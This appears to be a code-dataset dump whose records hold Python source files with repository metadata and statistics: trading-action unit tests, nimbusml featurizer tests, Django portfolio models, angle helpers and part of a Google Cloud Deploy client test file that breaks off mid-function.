| 637
| 167
| 36.10675
| 0.779073
| 0.057
| 0
| 0.704918
| 0
| 0
| 0.01312
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.014344
| null | null | 0.008197
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
fbbeb86bd0eba8f9d0ccb441f81196364589950a
| 6,039
|
py
|
Python
|
tests/test_action.py
|
lohithn4/NowTrade
|
ac04499731130297135b3526325191bd2cb36343
|
[
"MIT"
] | 87
|
2015-11-09T07:11:32.000Z
|
2021-12-16T03:13:09.000Z
|
tests/test_action.py
|
lohithn4/NowTrade
|
ac04499731130297135b3526325191bd2cb36343
|
[
"MIT"
] | 14
|
2015-09-28T18:24:18.000Z
|
2020-04-22T15:17:26.000Z
|
tests/test_action.py
|
lohithn4/NowTrade
|
ac04499731130297135b3526325191bd2cb36343
|
[
"MIT"
] | 34
|
2015-10-12T13:26:09.000Z
|
2022-01-15T20:16:23.000Z
|
import nowtrade.action
import unittest
class TestActions(unittest.TestCase):
""" Test Actions """
def test_action(self):
""" Test Action """
self.assertEqual(0, nowtrade.action.Action('test').raw())
def test_action_long(self):
""" Test Long Action """
self.assertEqual('LONG', nowtrade.action.Long())
self.assertEqual('LONG', nowtrade.action.Long())
self.assertEqual(nowtrade.action.Long(), 'LONG')
self.assertEqual('Long', nowtrade.action.Long())
self.assertEqual(nowtrade.action.Long(), 'Long')
self.assertEqual('long', nowtrade.action.Long())
self.assertEqual(nowtrade.action.Long(), 'long')
self.assertEqual(nowtrade.action.Long(), nowtrade.action.Long())
self.assertEqual(nowtrade.action.Long().__repr__(), 'long')
self.assertNotEqual(nowtrade.action.Long(), nowtrade.action.Short())
self.assertNotEqual(nowtrade.action.Long(), nowtrade.action.LongExit())
self.assertNotEqual(nowtrade.action.Long(), nowtrade.action.ShortExit())
self.assertNotEqual(nowtrade.action.Long(), nowtrade.action.ExitLong())
self.assertNotEqual(nowtrade.action.Long(), nowtrade.action.ExitShort())
def test_action_short(self):
""" Test Short Action """
self.assertEqual('SHORT', nowtrade.action.Short())
self.assertEqual(nowtrade.action.Short(), 'SHORT')
self.assertEqual('Short', nowtrade.action.Short())
self.assertEqual(nowtrade.action.Short(), 'Short')
self.assertEqual('short', nowtrade.action.Short())
self.assertEqual(nowtrade.action.Short(), 'short')
self.assertEqual(nowtrade.action.Short(), nowtrade.action.Short())
self.assertEqual(nowtrade.action.Short().__repr__(), 'short')
self.assertNotEqual(nowtrade.action.Short(), nowtrade.action.Long())
self.assertNotEqual(nowtrade.action.Short(), nowtrade.action.LongExit())
self.assertNotEqual(nowtrade.action.Short(), nowtrade.action.ShortExit())
self.assertNotEqual(nowtrade.action.Short(), nowtrade.action.ExitLong())
self.assertNotEqual(nowtrade.action.Short(), nowtrade.action.ExitShort())
def test_action_long_exit(self):
""" Test Long Exit Action """
self.assertEqual('LONGEXIT', nowtrade.action.LongExit())
self.assertEqual(nowtrade.action.LongExit(), 'LONGEXIT')
self.assertEqual('LongExit', nowtrade.action.LongExit())
self.assertEqual(nowtrade.action.LongExit(), 'LongExit')
self.assertEqual('longexit', nowtrade.action.LongExit())
self.assertEqual(nowtrade.action.LongExit(), 'longexit')
self.assertEqual('long_exit', nowtrade.action.LongExit())
self.assertEqual(nowtrade.action.LongExit(), 'long_exit')
self.assertEqual('long exit', nowtrade.action.LongExit())
self.assertEqual(nowtrade.action.LongExit(), 'long exit')
self.assertEqual('EXITLONG', nowtrade.action.LongExit())
self.assertEqual(nowtrade.action.LongExit(), 'EXITLONG')
self.assertEqual('ExitLong', nowtrade.action.LongExit())
self.assertEqual(nowtrade.action.LongExit(), 'ExitLong')
self.assertEqual('exitlong', nowtrade.action.LongExit())
self.assertEqual(nowtrade.action.LongExit(), 'exitlong')
self.assertEqual('exit_long', nowtrade.action.LongExit())
self.assertEqual(nowtrade.action.LongExit(), 'exit_long')
self.assertEqual('exit long', nowtrade.action.LongExit())
self.assertEqual(nowtrade.action.LongExit(), 'exit long')
self.assertEqual(nowtrade.action.LongExit(), nowtrade.action.LongExit())
self.assertEqual(nowtrade.action.LongExit().__repr__(), 'longexit')
self.assertNotEqual(nowtrade.action.LongExit(), nowtrade.action.Long())
self.assertNotEqual(nowtrade.action.LongExit(), nowtrade.action.Short())
self.assertNotEqual(nowtrade.action.LongExit(), nowtrade.action.ShortExit())
self.assertNotEqual(nowtrade.action.LongExit(), nowtrade.action.ExitShort())
def test_action_short_exit(self):
""" Test Short Exit Action """
self.assertEqual('SHORTEXIT', nowtrade.action.ShortExit())
self.assertEqual(nowtrade.action.ShortExit(), 'SHORTEXIT')
self.assertEqual('ShortExit', nowtrade.action.ShortExit())
self.assertEqual(nowtrade.action.ShortExit(), 'ShortExit')
self.assertEqual('shortexit', nowtrade.action.ShortExit())
self.assertEqual(nowtrade.action.ShortExit(), 'shortexit')
self.assertEqual('short_exit', nowtrade.action.ShortExit())
self.assertEqual(nowtrade.action.ShortExit(), 'short_exit')
self.assertEqual('short exit', nowtrade.action.ShortExit())
self.assertEqual(nowtrade.action.ShortExit(), 'short exit')
self.assertEqual('EXITSHORT', nowtrade.action.ShortExit())
self.assertEqual(nowtrade.action.ShortExit(), 'EXITSHORT')
self.assertEqual('ExitShort', nowtrade.action.ShortExit())
self.assertEqual(nowtrade.action.ShortExit(), 'ExitShort')
self.assertEqual('exitshort', nowtrade.action.ShortExit())
self.assertEqual(nowtrade.action.ShortExit(), 'exitshort')
self.assertEqual('exit_short', nowtrade.action.ShortExit())
self.assertEqual(nowtrade.action.ShortExit(), 'exit_short')
self.assertEqual('exit short', nowtrade.action.ShortExit())
self.assertEqual(nowtrade.action.ShortExit(), 'exit short')
self.assertEqual(nowtrade.action.ShortExit(), nowtrade.action.ShortExit())
self.assertEqual(nowtrade.action.ShortExit().__repr__(), 'shortexit')
self.assertNotEqual(nowtrade.action.ShortExit(), nowtrade.action.Long())
self.assertNotEqual(nowtrade.action.ShortExit(), nowtrade.action.Short())
self.assertNotEqual(nowtrade.action.ShortExit(), nowtrade.action.LongExit())
self.assertNotEqual(nowtrade.action.ShortExit(), nowtrade.action.ExitLong())
if __name__ == "__main__":
unittest.main()
| 58.631068
| 84
| 0.692664
| 604
| 6,039
| 6.854305
| 0.043046
| 0.348309
| 0.188889
| 0.238164
| 0.92657
| 0.913527
| 0.901449
| 0.638406
| 0.630435
| 0.570048
| 0
| 0.000196
| 0.154496
| 6,039
| 102
| 85
| 59.205882
| 0.810615
| 0.018049
| 0
| 0.2
| 0
| 0
| 0.076714
| 0
| 0
| 0
| 0
| 0
| 0.888889
| 1
| 0.055556
| false
| 0
| 0.022222
| 0
| 0.088889
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
fbc73a1eb98b1cbf2ceba07226de96d96171ec34
| 75
|
py
|
Python
|
region_detect/__init__.py
|
vc-nju/drfi_python
|
8e72867f478f51f0840b2fe2887074cae9a8f3ee
|
[
"MIT"
] | 13
|
2019-01-07T06:57:58.000Z
|
2020-10-31T16:02:02.000Z
|
region_detect/__init__.py
|
vc-nju/drfi_python
|
8e72867f478f51f0840b2fe2887074cae9a8f3ee
|
[
"MIT"
] | 2
|
2019-01-11T22:13:34.000Z
|
2020-07-03T08:18:17.000Z
|
region_detect/__init__.py
|
vc-nju/drfi_python
|
8e72867f478f51f0840b2fe2887074cae9a8f3ee
|
[
"MIT"
] | 2
|
2019-01-11T06:43:22.000Z
|
2019-11-16T06:02:32.000Z
|
from .super_region import Super_Region
from .generate_csv import Region2Csv
| 37.5
| 38
| 0.88
| 11
| 75
| 5.727273
| 0.636364
| 0.349206
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.014706
| 0.093333
| 75
| 2
| 39
| 37.5
| 0.911765
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
fbc9b281a4b9fe41673bbde690e59dfb7298ed36
| 8,628
|
py
|
Python
|
src/python/nimbusml/tests/data_type/test_text.py
|
michaelgsharp/NimbusML
|
50031157265f49eec85d27fe67582d9ddaf01ef9
|
[
"MIT"
] | 134
|
2018-11-01T22:15:24.000Z
|
2019-05-04T11:30:08.000Z
|
src/python/nimbusml/tests/data_type/test_text.py
|
michaelgsharp/NimbusML
|
50031157265f49eec85d27fe67582d9ddaf01ef9
|
[
"MIT"
] | 226
|
2019-05-07T19:00:44.000Z
|
2021-01-06T07:59:48.000Z
|
src/python/nimbusml/tests/data_type/test_text.py
|
michaelgsharp/NimbusML
|
50031157265f49eec85d27fe67582d9ddaf01ef9
|
[
"MIT"
] | 43
|
2019-05-15T20:19:42.000Z
|
2022-03-30T10:26:07.000Z
|
# --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License.
# --------------------------------------------------------------------------------------------
import unittest
import numpy as np
import pandas as pd
from nimbusml import Pipeline
from nimbusml.ensemble import LightGbmClassifier
from nimbusml.feature_extraction.text import NGramFeaturizer
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_array_almost_equal
def transform_data(data=None, datatype=None):
if datatype == "dataframe":
return pd.DataFrame(data)
elif datatype == "array":
return np.array(data)
elif datatype == "list":
return data
elif datatype == "series":
return pd.Series(data)
def train_data_type_single(
fit_X_type="dataframe",
fit_Y_type=None,
predict_X_type=None):
data = [
"This is sentence 1",
"Talk about second",
"Thrid one",
"Final example."]
model = NGramFeaturizer()
data_with_new_type = transform_data(data, fit_X_type)
model.fit(data_with_new_type)
test_data_with_new_type = transform_data(data, predict_X_type)
return model.transform(test_data_with_new_type)
def train_data_type_ppl(fit_X_type=None, fit_Y_type=None, predict_X_type=None):
data = [
"This is sentence 1",
"Talk about second",
"Thrid one",
"Final example."]
label = [1, 0, 1, 1]
model = Pipeline([
NGramFeaturizer(),
LightGbmClassifier(minimum_example_count_per_leaf=1, number_of_threads=1)
])
data_with_new_type = transform_data(data, fit_X_type)
label_with_new_type = transform_data(label, fit_Y_type)
model.fit(data_with_new_type, label_with_new_type)
metrics, scores = model.test(
data_with_new_type, label_with_new_type, output_scores=True)
test_data_with_new_type = transform_data(data, predict_X_type)
return model.predict(test_data_with_new_type), scores, metrics
class TestTextDataType(unittest.TestCase):
def test_check_text_datatype_single_list_list_series(self):
result = train_data_type_single("list", "list", "series")
assert len(result) == 4
assert len(result.columns) == 66
assert all([col.startswith('F0') for col in result.columns])
def test_check_text_datatype_single_series_list_series(self):
result = train_data_type_single("series", "list", "series")
assert len(result) == 4
assert len(result.columns) == 66
assert all([col.startswith('F0') for col in result.columns])
def test_check_text_datatype_single_series_list_list(self):
result = train_data_type_single("series", "list", "list")
assert len(result) == 4
assert len(result.columns) == 66
assert all([col.startswith('F0') for col in result.columns])
def test_check_text_datatype_single_array_list_series(self):
result = train_data_type_single("array", "list", "series")
assert len(result) == 4
assert len(result.columns) == 66
assert all([col.startswith('F0') for col in result.columns])
def test_check_text_datatype_single_series_array_dataframe(self):
result = train_data_type_single("series", "array", "dataframe")
assert len(result) == 4
assert len(result.columns) == 66
assert all([col.startswith('F0') for col in result.columns])
def test_check_text_datatype_single_array_series_series(self):
result = train_data_type_single("array", "series", "series")
assert len(result) == 4
assert len(result.columns) == 66
assert all([col.startswith('F0') for col in result.columns])
def test_check_text_datatype_single_dataframe_list_series(self):
result = train_data_type_single("dataframe", "list", "series")
assert len(result) == 4
assert len(result.columns) == 66
assert all([col.startswith('F0') for col in result.columns])
def test_check_text_datatype_single_series_series_dataframe(self):
result = train_data_type_single("series", "series", "dataframe")
assert len(result) == 4
assert len(result.columns) == 66
assert all([col.startswith('F0') for col in result.columns])
def test_check_text_datatype_single_dataframe_series_list(self):
result = train_data_type_single("dataframe", "series", "list")
assert len(result) == 4
assert len(result.columns) == 66
assert all([col.startswith('F0') for col in result.columns])
def test_check_text_datatype_ppl_series_list_array(self):
result, scores, metrics = train_data_type_ppl(
"series", "list", "array")
assert len(result) == 4
assert_almost_equal(metrics['Log-loss'].item(), 0.56233514)
assert_array_equal(scores['Score.0'].values, result['Score.0'].values)
assert_array_almost_equal(scores['Score.0'].values, [0.25, 0.25, 0.25, 0.25])
def test_check_text_datatype_ppl_list_series_dataframe(self):
result, scores, metrics = train_data_type_ppl(
"list", "series", "dataframe")
assert len(result) == 4
assert_almost_equal(metrics['Log-loss'].item(), 0.56233514)
assert_array_equal(scores['Score.0'].values, result['Score.0'].values)
assert_array_almost_equal(scores['Score.0'].values, [0.25, 0.25, 0.25, 0.25])
def test_check_text_datatype_ppl_list_list_series(self):
result, scores, metrics = train_data_type_ppl("list", "list", "series")
assert len(result) == 4
assert_almost_equal(metrics['Log-loss'].item(), 0.56233514)
assert_array_equal(scores['Score.0'].values, result['Score.0'].values)
assert_array_almost_equal(scores['Score.0'].values, [0.25, 0.25, 0.25, 0.25])
def test_check_text_datatype_ppl_array_series_array(self):
result, scores, metrics = train_data_type_ppl(
"array", "series", "array")
assert len(result) == 4
assert_almost_equal(metrics['Log-loss'].item(), 0.56233514)
assert_array_equal(scores['Score.0'].values, result['Score.0'].values)
assert_array_almost_equal(scores['Score.0'].values, [0.25, 0.25, 0.25, 0.25])
def test_check_text_datatype_ppl_series_array_dataframe(self):
result, scores, metrics = train_data_type_ppl(
"series", "array", "dataframe")
assert len(result) == 4
assert_almost_equal(metrics['Log-loss'].item(), 0.56233514)
assert_array_equal(scores['Score.0'].values, result['Score.0'].values)
assert_array_almost_equal(scores['Score.0'].values, [0.25, 0.25, 0.25, 0.25])
def test_check_text_datatype_ppl_array_series_list(self):
result, scores, metrics = train_data_type_ppl(
"array", "series", "list")
assert len(result) == 4
assert_almost_equal(metrics['Log-loss'].item(), 0.56233514)
assert_array_equal(scores['Score.0'].values, result['Score.0'].values)
assert_array_almost_equal(scores['Score.0'].values, [0.25, 0.25, 0.25, 0.25])
def test_check_text_datatype_ppl_dataframe_list_series(self):
result, scores, metrics = train_data_type_ppl(
"dataframe", "list", "series")
assert len(result) == 4
assert_almost_equal(metrics['Log-loss'].item(), 0.56233514)
assert_array_equal(scores['Score.0'].values, result['Score.0'].values)
assert_array_almost_equal(scores['Score.0'].values, [0.25, 0.25, 0.25, 0.25])
def test_check_text_datatype_ppl_series_series_dataframe(self):
result, scores, metrics = train_data_type_ppl(
"series", "series", "dataframe")
assert len(result) == 4
assert_almost_equal(metrics['Log-loss'].item(), 0.56233514)
assert_array_equal(scores['Score.0'].values, result['Score.0'].values)
assert_array_almost_equal(scores['Score.0'].values, [0.25, 0.25, 0.25, 0.25])
def test_check_text_datatype_ppl_dataframe_series_series(self):
result, scores, metrics = train_data_type_ppl(
"dataframe", "series", "series")
assert len(result) == 4
assert_almost_equal(metrics['Log-loss'].item(), 0.56233514)
assert_array_equal(scores['Score.0'].values, result['Score.0'].values)
assert_array_almost_equal(scores['Score.0'].values, [0.25, 0.25, 0.25, 0.25])
if __name__ == '__main__':
unittest.main()
| 44.474227
| 94
| 0.665392
| 1,158
| 8,628
| 4.664076
| 0.091537
| 0.019996
| 0.074986
| 0.029994
| 0.855582
| 0.838734
| 0.826699
| 0.805962
| 0.71135
| 0.699685
| 0
| 0.038511
| 0.190427
| 8,628
| 193
| 95
| 44.704663
| 0.734717
| 0.031873
| 0
| 0.53125
| 0
| 0
| 0.089962
| 0
| 0
| 0
| 0
| 0
| 0.4125
| 1
| 0.13125
| false
| 0
| 0.05625
| 0
| 0.23125
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
839c9b717d5fff973f59cab67e7688788d692ea8
| 1,634
|
py
|
Python
|
projects/models.py
|
rafsaf/rest_api_for_portfolio
|
2b07aca65cbe2d81f3f862fd024a2e0c5f20c83f
|
[
"MIT"
] | null | null | null |
projects/models.py
|
rafsaf/rest_api_for_portfolio
|
2b07aca65cbe2d81f3f862fd024a2e0c5f20c83f
|
[
"MIT"
] | null | null | null |
projects/models.py
|
rafsaf/rest_api_for_portfolio
|
2b07aca65cbe2d81f3f862fd024a2e0c5f20c83f
|
[
"MIT"
] | null | null | null |
from django.db import models
class MainInformation(models.Model):
LANGUAGES = [
('pl', 'pl'),
('en', 'en'),
]
language = models.CharField(max_length=2, choices=LANGUAGES)
title = models.CharField(max_length=30)
text = models.TextField()
class Contact(models.Model):
image = models.ImageField()
description = models.CharField(max_length=20)
text = models.CharField(max_length=50)
link = models.BooleanField(default=False)
class Technology(models.Model):
image = models.ImageField()
title = models.CharField(max_length=20)
class Project(models.Model):
LANGUAGES = [
('pl', 'pl'),
('en', 'en'),
]
order = models.IntegerField()
language = models.CharField(max_length=2, choices=LANGUAGES)
title = models.CharField(max_length=50)
link = models.CharField(max_length=100)
image = models.ImageField()
description = models.TextField()
created = models.DateField()
technologies = models.ManyToManyField(Technology)
class Meta:
get_latest_by = 'order'
ordering = ['order']
class LearnProject(models.Model):
LANGUAGES = [
('pl', 'pl'),
('en', 'en'),
]
order = models.IntegerField()
language = models.CharField(max_length=2, choices=LANGUAGES)
title = models.CharField(max_length=50)
link = models.CharField(max_length=100)
image = models.ImageField()
description = models.TextField()
created = models.DateField()
technologies = models.ManyToManyField(Technology)
class Meta:
get_latest_by = 'order'
ordering = ['order']
| 25.53125
| 64
| 0.649939
| 174
| 1,634
| 6.017241
| 0.264368
| 0.157593
| 0.189112
| 0.252149
| 0.857689
| 0.731614
| 0.731614
| 0.670487
| 0.670487
| 0.670487
| 0
| 0.016458
| 0.219094
| 1,634
| 63
| 65
| 25.936508
| 0.804075
| 0
| 0
| 0.693878
| 0
| 0
| 0.026928
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.020408
| 0
| 0.734694
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 7
|
83ff737c3a9ad1655e00e09b2643bde675fb699f
| 1,012
|
py
|
Python
|
deeplodocus/app/transforms/angles.py
|
amelgrenier/deeplodocus
|
0a017faae098cddc436e82e83b85e66caf18b522
|
[
"MIT"
] | null | null | null |
deeplodocus/app/transforms/angles.py
|
amelgrenier/deeplodocus
|
0a017faae098cddc436e82e83b85e66caf18b522
|
[
"MIT"
] | null | null | null |
deeplodocus/app/transforms/angles.py
|
amelgrenier/deeplodocus
|
0a017faae098cddc436e82e83b85e66caf18b522
|
[
"MIT"
] | null | null | null |
import math
def dangle_to_cos_and_sin(angle: float):
"""
AUTHORS:
--------
:author: Alix Leroy
DESCRIPTION:
------------
Convert a angle in degrees to its corresponding cos and sin values
PARAMETERS:
-----------
:param angle(float): The angle in degrees to convert
RETURN:
-------
:return (Tuple[float, float]): Cos and sin values
:return: None
"""
rad = math.radians(angle)
return (math.cos(rad), math.sin(rad)), None
def rangle_to_cos_and_sin(angle: float):
"""
AUTHORS:
--------
:author: Alix Leroy
DESCRIPTION:
------------
Convert a angle in radians to its corresponding cos and sin values
PARAMETERS:
-----------
:param angle(float): The angle in radians to convert
RETURN:
-------
:return (Tuple[float, float]): Cos and sin values
:return: None
"""
return (math.cos(angle), math.sin(angle)), None
| 17.754386
| 71
| 0.536561
| 114
| 1,012
| 4.692982
| 0.27193
| 0.06729
| 0.100935
| 0.11215
| 0.740187
| 0.740187
| 0.740187
| 0.740187
| 0.740187
| 0.740187
| 0
| 0
| 0.307312
| 1,012
| 56
| 72
| 18.071429
| 0.763195
| 0.582016
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.166667
| 0
| 0.833333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 7
|
f7c436220c5f20fe8cb5271c55a954e5326170c7
| 160
|
py
|
Python
|
{{cookiecutter.project_slug}}/backend/app/__init__.py
|
beda-software/cookiecutter-beda-software-stack
|
f1f0aef4964d43d0720e45866420aa02b25626f8
|
[
"MIT"
] | 2
|
2021-04-16T04:50:25.000Z
|
2021-04-29T07:49:16.000Z
|
{{cookiecutter.project_slug}}/backend/app/__init__.py
|
beda-software/cookiecutter-beda-software-stack
|
f1f0aef4964d43d0720e45866420aa02b25626f8
|
[
"MIT"
] | 5
|
2020-10-08T08:14:16.000Z
|
2020-12-06T08:38:32.000Z
|
{{cookiecutter.project_slug}}/backend/app/__init__.py
|
beda-software/cookiecutter-beda-software-stack
|
f1f0aef4964d43d0720e45866420aa02b25626f8
|
[
"MIT"
] | 1
|
2020-09-21T09:10:20.000Z
|
2020-09-21T09:10:20.000Z
|
{% if cookiecutter.add_gcs|lower == 'y' %}import app.gcs{% endif %}
{% if cookiecutter.add_aws|lower == 'y' %}import app.aws{% endif %}
import app.notification
| 40
| 67
| 0.68125
| 23
| 160
| 4.652174
| 0.478261
| 0.252336
| 0.317757
| 0.280374
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.125
| 160
| 3
| 68
| 53.333333
| 0.764286
| 0
| 0
| 0
| 0
| 0
| 0.0125
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 1
| null | null | 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 7
|
f70031964499de2478621f668a6bbbbe0d067348
| 228,842
|
py
|
Python
|
tests/unit/gapic/deploy_v1/test_cloud_deploy.py
|
LaudateCorpus1/python-deploy
|
aaa957f2673db673c3a8e38275d4689323ded044
|
[
"Apache-2.0"
] | null | null | null |
tests/unit/gapic/deploy_v1/test_cloud_deploy.py
|
LaudateCorpus1/python-deploy
|
aaa957f2673db673c3a8e38275d4689323ded044
|
[
"Apache-2.0"
] | null | null | null |
tests/unit/gapic/deploy_v1/test_cloud_deploy.py
|
LaudateCorpus1/python-deploy
|
aaa957f2673db673c3a8e38275d4689323ded044
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import os
import mock
import grpc
from grpc.experimental import aio
import math
import pytest
from proto.marshal.rules.dates import DurationRule, TimestampRule
from google.api_core import client_options
from google.api_core import exceptions as core_exceptions
from google.api_core import future
from google.api_core import gapic_v1
from google.api_core import grpc_helpers
from google.api_core import grpc_helpers_async
from google.api_core import operation_async # type: ignore
from google.api_core import operations_v1
from google.api_core import path_template
from google.auth import credentials as ga_credentials
from google.auth.exceptions import MutualTLSChannelError
from google.cloud.deploy_v1.services.cloud_deploy import CloudDeployAsyncClient
from google.cloud.deploy_v1.services.cloud_deploy import CloudDeployClient
from google.cloud.deploy_v1.services.cloud_deploy import pagers
from google.cloud.deploy_v1.services.cloud_deploy import transports
from google.cloud.deploy_v1.types import cloud_deploy
from google.longrunning import operations_pb2
from google.oauth2 import service_account
from google.protobuf import field_mask_pb2 # type: ignore
from google.protobuf import timestamp_pb2 # type: ignore
import google.auth
def client_cert_source_callback():
return b"cert bytes", b"key bytes"
# If default endpoint is localhost, then default mtls endpoint will be the same.
# This method modifies the default endpoint so the client can produce a different
# mtls endpoint for endpoint testing purposes.
def modify_default_endpoint(client):
return (
"foo.googleapis.com"
if ("localhost" in client.DEFAULT_ENDPOINT)
else client.DEFAULT_ENDPOINT
)
def test__get_default_mtls_endpoint():
api_endpoint = "example.googleapis.com"
api_mtls_endpoint = "example.mtls.googleapis.com"
sandbox_endpoint = "example.sandbox.googleapis.com"
sandbox_mtls_endpoint = "example.mtls.sandbox.googleapis.com"
non_googleapi = "api.example.com"
assert CloudDeployClient._get_default_mtls_endpoint(None) is None
assert (
CloudDeployClient._get_default_mtls_endpoint(api_endpoint) == api_mtls_endpoint
)
assert (
CloudDeployClient._get_default_mtls_endpoint(api_mtls_endpoint)
== api_mtls_endpoint
)
assert (
CloudDeployClient._get_default_mtls_endpoint(sandbox_endpoint)
== sandbox_mtls_endpoint
)
assert (
CloudDeployClient._get_default_mtls_endpoint(sandbox_mtls_endpoint)
== sandbox_mtls_endpoint
)
assert CloudDeployClient._get_default_mtls_endpoint(non_googleapi) == non_googleapi
@pytest.mark.parametrize("client_class", [CloudDeployClient, CloudDeployAsyncClient,])
def test_cloud_deploy_client_from_service_account_info(client_class):
creds = ga_credentials.AnonymousCredentials()
with mock.patch.object(
service_account.Credentials, "from_service_account_info"
) as factory:
factory.return_value = creds
info = {"valid": True}
client = client_class.from_service_account_info(info)
assert client.transport._credentials == creds
assert isinstance(client, client_class)
assert client.transport._host == "clouddeploy.googleapis.com:443"
@pytest.mark.parametrize(
"transport_class,transport_name",
[
(transports.CloudDeployGrpcTransport, "grpc"),
(transports.CloudDeployGrpcAsyncIOTransport, "grpc_asyncio"),
],
)
def test_cloud_deploy_client_service_account_always_use_jwt(
transport_class, transport_name
):
with mock.patch.object(
service_account.Credentials, "with_always_use_jwt_access", create=True
) as use_jwt:
creds = service_account.Credentials(None, None, None)
transport = transport_class(credentials=creds, always_use_jwt_access=True)
use_jwt.assert_called_once_with(True)
with mock.patch.object(
service_account.Credentials, "with_always_use_jwt_access", create=True
) as use_jwt:
creds = service_account.Credentials(None, None, None)
transport = transport_class(credentials=creds, always_use_jwt_access=False)
use_jwt.assert_not_called()
@pytest.mark.parametrize("client_class", [CloudDeployClient, CloudDeployAsyncClient,])
def test_cloud_deploy_client_from_service_account_file(client_class):
creds = ga_credentials.AnonymousCredentials()
with mock.patch.object(
service_account.Credentials, "from_service_account_file"
) as factory:
factory.return_value = creds
client = client_class.from_service_account_file("dummy/file/path.json")
assert client.transport._credentials == creds
assert isinstance(client, client_class)
client = client_class.from_service_account_json("dummy/file/path.json")
assert client.transport._credentials == creds
assert isinstance(client, client_class)
assert client.transport._host == "clouddeploy.googleapis.com:443"
def test_cloud_deploy_client_get_transport_class():
transport = CloudDeployClient.get_transport_class()
available_transports = [
transports.CloudDeployGrpcTransport,
]
assert transport in available_transports
transport = CloudDeployClient.get_transport_class("grpc")
assert transport == transports.CloudDeployGrpcTransport
@pytest.mark.parametrize(
"client_class,transport_class,transport_name",
[
(CloudDeployClient, transports.CloudDeployGrpcTransport, "grpc"),
(
CloudDeployAsyncClient,
transports.CloudDeployGrpcAsyncIOTransport,
"grpc_asyncio",
),
],
)
@mock.patch.object(
CloudDeployClient, "DEFAULT_ENDPOINT", modify_default_endpoint(CloudDeployClient)
)
@mock.patch.object(
CloudDeployAsyncClient,
"DEFAULT_ENDPOINT",
modify_default_endpoint(CloudDeployAsyncClient),
)
def test_cloud_deploy_client_client_options(
client_class, transport_class, transport_name
):
# Check that if channel is provided we won't create a new one.
with mock.patch.object(CloudDeployClient, "get_transport_class") as gtc:
transport = transport_class(credentials=ga_credentials.AnonymousCredentials())
client = client_class(transport=transport)
gtc.assert_not_called()
# Check that if channel is provided via str we will create a new one.
with mock.patch.object(CloudDeployClient, "get_transport_class") as gtc:
client = client_class(transport=transport_name)
gtc.assert_called()
# Check the case api_endpoint is provided.
options = client_options.ClientOptions(api_endpoint="squid.clam.whelk")
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(transport=transport_name, client_options=options)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host="squid.clam.whelk",
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
# Check the case api_endpoint is not provided and GOOGLE_API_USE_MTLS_ENDPOINT is
# "never".
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "never"}):
with mock.patch.object(transport_class, "__init__") as patched:
